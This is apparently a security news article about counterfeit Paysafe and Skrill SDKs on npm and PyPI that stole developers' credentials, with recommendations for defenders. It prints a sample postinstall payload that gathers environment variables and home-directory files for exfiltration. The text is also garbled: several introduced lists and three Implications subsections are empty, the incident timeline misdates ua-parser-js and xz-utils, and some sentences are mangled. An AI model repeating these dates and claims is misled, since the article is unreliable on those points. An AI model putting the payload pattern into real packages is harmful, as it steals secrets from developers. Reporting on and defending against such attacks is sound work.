Fake Paysafe, Skrill SDKs on NPM and PyPi steal credentials

# Malicious Payment App SDKs on npm and PyPI Deliver Credential-Stealing Malware to Developers

Researchers have uncovered a sophisticated supply chain attack in which threat actors uploaded fake Software Development Kits (SDKs) for Paysafe, Skrill, and Neteller payment platforms to npm and PyPI—two of the world's most widely used package repositories. The malicious packages were designed to steal credentials and sensitive data from developers who integrated them into their applications, potentially exposing both end-user and merchant payment information.

This incident highlights the persistent vulnerability of open-source package ecosystems to impersonation attacks, where attackers rely on typosquatting, package name confusion, and minimal vetting to distribute malware at scale.

## The Threat

Security researchers identified multiple malicious packages appearing on npm and PyPI that mimicked legitimate Paysafe and subsidiary payment service SDKs. These packages contained stealer malware that targeted:

Developers who installed these counterfeit packages—either through typos, search confusion, or assumptions about package legitimacy—unknowingly executed malware that ran during installation and integration. The stolen credentials could then be exploited to:

## Background and Context

Paysafe (including Skrill and Neteller, which Paysafe owns) is a major digital payment platform serving merchants, developers, and individual users across Europe and beyond. Developers integrating Paysafe's payment processing into mobile apps, web platforms, and fintech solutions rely on official SDKs to handle payment authorization, PCI compliance, and transaction processing.

### Supply Chain Attack Trends

This attack follows a pattern that has escalated over the past four years:

| Year | Incident Type | Impact |

|------|---------------|--------|

| 2021 | Dependency confusion (security researcher PoC) | Demonstrated repository spoofing feasibility |

| 2022 | ua-parser-js compromise | 10M+ downloads infected; data exfiltration |

| 2023 | xz-utils backdoor | Linux supply chain, near-critical severity |

| 2024 | Paysafe/Skrill fake SDKs | Payment credentials theft at scale |

Package repositories face an inherent challenge: they prioritize permissionless publishing (allowing anyone to upload packages) over strict vetting. While this democratizes code sharing, it also enables attackers to register names that are:

## Technical Details

### Attack Mechanism

1. Package Registration: Attackers registered packages with names closely resembling official Paysafe SDKs on both npm and PyPI.

2. Malicious Payload: Installation scripts (postinstall hooks in npm, or setup.py code in PyPI) executed during npm install or pip install:

```javascript

// Typical npm postinstall payload pattern

const os = require('os');

const fs = require('fs');

const https = require('https');

const dataToSteal = {

envVars: process.env,

homeDir: os.homedir(),

files: fs.readdirSync(process.env.HOME || os.homedir())

};

// Exfiltrate to attacker-controlled server

sendToAttacker(dataToSteal);

```

3. Data Exfiltration: Stolen data was sent to attacker command-and-control servers, often disguised as telemetry or analytics traffic.

4. Persistence: Some variants included mechanisms to remain dormant until specific credentials (API keys, tokens) were accessed by the application.

### Victims and Spread

The malicious packages remained live for days or weeks before detection, during which they were downloaded by:

Exact download numbers vary by repository, but npm reports indicated hundreds to thousands of installations before removal.

## Implications

### For Developers and Development Teams

### For Merchants and Payment Platforms

### For Enterprise IT and Security Teams

This incident demonstrates that package repository compromises are not just theoretical risks—they are active attack vectors. Organizations cannot assume that downloads from official repositories are inherently safe.

## Recommendations

### For Developers

1. Verify package authenticity: Before integrating SDKs, confirm:

- The package name matches official documentation exactly

- The publisher is the official company account (check npm/PyPI profiles)

- Download statistics and publication history look normal (sudden popularity is suspicious)

2. Review install scripts: Examine package.json postinstall hooks and setup.py for suspicious network calls or file access:

```bash

npm view <package-name> | grep postinstall

```

3. Use lock files: Commit package-lock.json (npm) or requirements.txt (Python) to version control to pin exact versions and detect unexpected changes.

4. Monitor credential access: Use tools like HashiCorp Vault or AWS Secrets Manager to centralize credential management rather than storing secrets in .env files accessible to installed packages.

### For Organizations

1. Establish package approval workflows: Require security review before new external dependencies are introduced to production.

2. Audit existing integrations: Run a retrospective audit of Paysafe/Skrill integration timelines to determine if your team used any of the identified malicious packages.

3. Rotate compromised credentials: If your organization may have been affected, immediately rotate:

- Paysafe/Skrill merchant API keys

- Any AWS, GCP, or Azure credentials that may have been on developer machines

- SSH keys and private certificates

4. Enable package signing verification: Use npm npm audit and PyPI package signature verification to validate package integrity.

5. Implement zero-trust for package management: Treat all external packages as potentially compromised; isolate package installation environments and scan outputs before deployment.

---

## HackWire Analysis

This attack succeeds because the economics of open-source publishing favor speed and accessibility over security gatekeeping—and attackers understand this perfectly. The payment app vertical is particularly attractive because credentials have immediate monetary value: a stolen Paysafe merchant key is immediately usable for fraudulent transactions or resale on dark marketplaces.

What makes this incident important *now* is that it demonstrates the maturation of supply chain attacks as a mainstream criminal business model, not just the province of state-sponsored actors. The threat actors behind these fake SDKs appear to be financially motivated, opportunistic, and willing to accept the relatively low risk (packages removed after detection) in exchange for high-value credential theft.

The broader pattern worth tracking: payment platforms and fintech SDKs are becoming primary targets for these attacks because they occupy a unique position—they're widely integrated (high distribution potential), they handle sensitive secrets (high value), and developers often integrate them hastily during MVP development (lower security awareness). Compare this to general-purpose libraries like lodash or requests, which steal data but have less immediately actionable value.

Defenders should assume that at least one major external dependency in their stack has been or will be compromised during its lifetime. The mitigation doesn't stop at "verify package authenticity"—it requires compartmentalizing where secrets live, monitoring for unexpected credential access, and building CI/CD pipelines that isolate package installation from secret access.

— HackWire Editorial

---

## Related Coverage